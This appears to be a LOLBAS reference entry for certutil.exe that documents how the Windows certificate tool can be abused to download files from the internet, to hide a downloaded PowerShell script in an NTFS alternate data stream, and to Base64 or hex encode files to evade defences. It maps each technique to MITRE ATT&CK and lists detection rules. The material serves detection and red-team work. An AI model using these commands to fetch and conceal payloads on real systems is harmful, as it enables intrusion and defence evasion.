.. /Certutil.exe

Download | Alternate data streams | Encode | Decode

Windows binary used for handling certificates

Paths:
C:\Windows\System32\certutil.exe
C:\Windows\SysWOW64\certutil.exe

Resources:
- https://twitter.com/Moriarty_Meng/status/984380793383370752
- https://twitter.com/mattifestation/status/620107926288515072
- https://twitter.com/egre55/status/1087685529016193025

Acknowledgements:
- Matt Graeber (@mattifestation)
- Moriarty (@Moriarty_Meng)
- egre55 (@egre55)
- Lior Adar

Detections:
- Sigma: proc_creation_win_certutil_download.yml
- Sigma: proc_creation_win_certutil_encode.yml
- Sigma: proc_creation_win_certutil_decode.yml
- Elastic: defense_evasion_suspicious_certutil_commands.toml
- Elastic: command_and_control_certutil_network_connection.toml
- Splunk: certutil_download_with_urlcache_and_split_arguments.yml
- Splunk: certutil_download_with_verifyctl_and_split_arguments.yml
- Splunk: certutil_with_decode_argument.yml
- IOC: Certutil.exe creating new files on disk
- IOC: Useragent Microsoft-CryptoAPI/10.0
- IOC: Useragent CertUtil URL Agent

Download

1. Download and save 7zip to disk in the current folder.

```
certutil.exe -urlcache -split -f http://7-zip.org/a/7z1604-x64.exe 7zip.exe
```

Use case: Download file from Internet
Privileges required: User
Operating systems: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK® technique: **T1105**: Ingress Tool Transfer

2. Download and save 7zip to disk in the current folder.

```
certutil.exe -verifyctl -f -split http://7-zip.org/a/7z1604-x64.exe 7zip.exe
```

Use case: Download file from Internet
Privileges required: User
Operating systems: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK® technique: **T1105**: Ingress Tool Transfer

Alternate data streams

Download and save a PS1 file to an Alternate Data Stream (ADS).

```
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1
c:\temp:ttt
```

Use case: Download file from Internet and save it in an NTFS Alternate Data Stream
Privileges required: User
Operating systems: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK® technique: **T1564.004**: NTFS File Attributes

Encode

Command to encode a file using Base64

```
certutil -encode inputFileName encodedOutputFileName
```

Use case: Encode files to evade defensive measures
Privileges required: User
Operating systems: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK® technique: **T1027.013**: Encrypted/Encoded File

Decode

1. Command to decode a Base64 encoded file.

```
certutil -decode encodedInputFileName decodedOutputFileName
```

Use case: Decode files to evade defensive measures
Privileges required: User
Operating systems: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK® technique: **T1140**: Deobfuscate/Decode Files or Information

2. Command to decode a hexadecimal-encoded file decodedOutputFileName

```
certutil -decodehex encoded_hexadecimal_InputFileName decodedOutputFileName
```

Use case: Decode files to evade defensive measures
Privileges required: User
Operating systems: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK® technique: **T1140**: Deobfuscate/Decode Files or Information